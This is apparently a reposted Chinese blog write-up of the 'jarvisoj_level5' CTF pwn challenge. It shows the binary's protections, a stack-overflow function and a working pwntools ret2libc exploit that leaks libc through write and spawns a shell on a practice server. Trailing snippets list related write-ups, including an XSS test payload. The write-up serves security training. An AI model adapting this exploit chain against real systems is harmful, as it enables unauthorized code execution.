jarvisoj_level5

2023-10-03 20:54
文章标签 jarvisoj level5

本文主要是介绍jarvisoj_level5,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

jarvisoj_level5

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)

64位,只开了NX

ssize_t vulnerable_function()
{char buf[128]; // [rsp+0h] [rbp-80h] BYREFwrite(1, "Input:\n", 7uLL);return read(0, buf, 0x200uLL);
}

程序很简单,栈溢出

思路

ret2libc,打write,注意寄存器就行

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",26804,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
libc=ELF('libc-2.23.so')rdi=0x00000000004006b3
rsi_r15=0x00000000004006b1
pl=cyclic(0x88)+flat(rdi,1,rsi_r15,elf.got['write'],0,elf.sym['write'],0x40061A)
sa(b'put',pl)
leak=get_addr_u64()-libc.sym['write']
li(leak)
sys=system(leak)
sh=shell(leak)
pl=cyclic(0x88)+flat(rdi,sh,sys)
s(pl)ia(c)

在这里插入图片描述

这篇关于jarvisoj_level5的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/696

相关文章

中国卫星影像图Level5

卫星地图,又称“卫星遥感图像或是卫星影像”,顾名思义,是借助卫星为媒介,向用户真实反馈地球地表面貌的图像。与传统意义的地图不同,卫星地图上看到的地表面貌是真实而实时的,因此,卫星地图的使用面非常广,比如用于检测地面的信息,探测地理位置、地形等,同时还可以应用于城乡规划、导航系统、军事指挥部著、监测灾情、抗灾救灾部署等等。        卫星地图是卫星拍摄的真实的地理面貌,所以卫星地

[CTF]jarvisoj_level2

解题思路 反编译后的源码: undefined4 main(void){vulnerable_function();system("echo \'Hello World!\'");return 0;}void vulnerable_function(void){undefined local_8c [136];system("echo Input:");read(0,local_8c,0

XSS_lab(level1-level5)

level1 直接输入页面没有发现输入框,观察url发现有传参 尝试修改传参为:<script>alert(1)</script> 过啦! level2 页面中有输入框,尝试构建语句:<script>alert(1)</script>,传输后查看源代码 发现有两个点存放了我们的输入,而这之中,第一个处理了<>而第二个没有,所以优先尝试第二个 尝试构建语句让语句

从零开始做题:逆向 ret2shellcode jarvisoj level1

1.题目信息 BUUCTF在线评测 2.原理 篡改栈帧上的返回地址为攻击者手动传入的shellcode所在缓冲区地址,并且该区域有执行权限。 root@pwn_test1604:/ctf/work/9# gdb ./level1GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1Copyright (C) 2016 Free Software

JarvisOJ basic部分WriteUp

0x0 前言 由于开学后会有一个省赛,作为一个好久没做过除re以外ctf题的小白,不得不抽出时间来刷一刷题…通过做JarvisOJ的basic部分确实学到了不少东西,感谢~ 0x1 base64? 1.题目描述 GUYDIMZVGQ2DMN3CGRQTONJXGM3TINLGG42DGMZXGM3TINLGGY4DGNBXGYZTGNLGGY3DGNBWMU3WI=== 2.解题过程

jarvisoj_tell_me_something

jarvisoj_tell_me_something 使用checksec查看: 看来又是一道栈溢出的题目,直接放IDA查看: 一眼看过去,main()函数中就已经存在栈溢出了 查看字符串可以发现,存在一个flag.txt的字符串,跟进函数查看: 这个函数读取并打印了flag,so…我们只需要return到这个函数即可 需要注意的是: 函数起始的时候并没有将rbp压入栈中,结束

171205 逆向-JarvisOJ(文件数据修复)

1625-5 王子昂 总结《2017年12月5日》 【连续第431天总结】 A. JarvisOJ-Re-文件数据修复 B. 有个文件加密工具,能将一个文件加密到一个.ctf文件中去。 有一个犯罪分子将存有犯罪记录的一个名为“CTFtest.ctf”的加密文件被删除了。 现经过数据恢复,我们已经恢复了该文件。但是很不幸,该文件头部的部分数据已经被覆盖掉了。这个.ctf文件已经不能正常打开

Python-Level5-day05:二分类支持向量机模型及其三种核函数实现线性分类方法,水果分类案例,朴素贝叶斯实现分类原理及其案例实现

一、支持向量机 1. 基本概念 1)什么是支持向量机 支持向量机(Support Vector Machines)是一种二分类模型,在机器学习、计算机视觉、数据挖掘中广泛应用,主要用于解决数据分类问题,它的目的是寻找一个超平面(高维度空间下的线性模型)来对样本进行分割,分割的原则是间隔最大化(即数据集的边缘点到分界线的距离2d最大化,如下图),最终转化为一个凸二次规划问题来求解。通常SVM用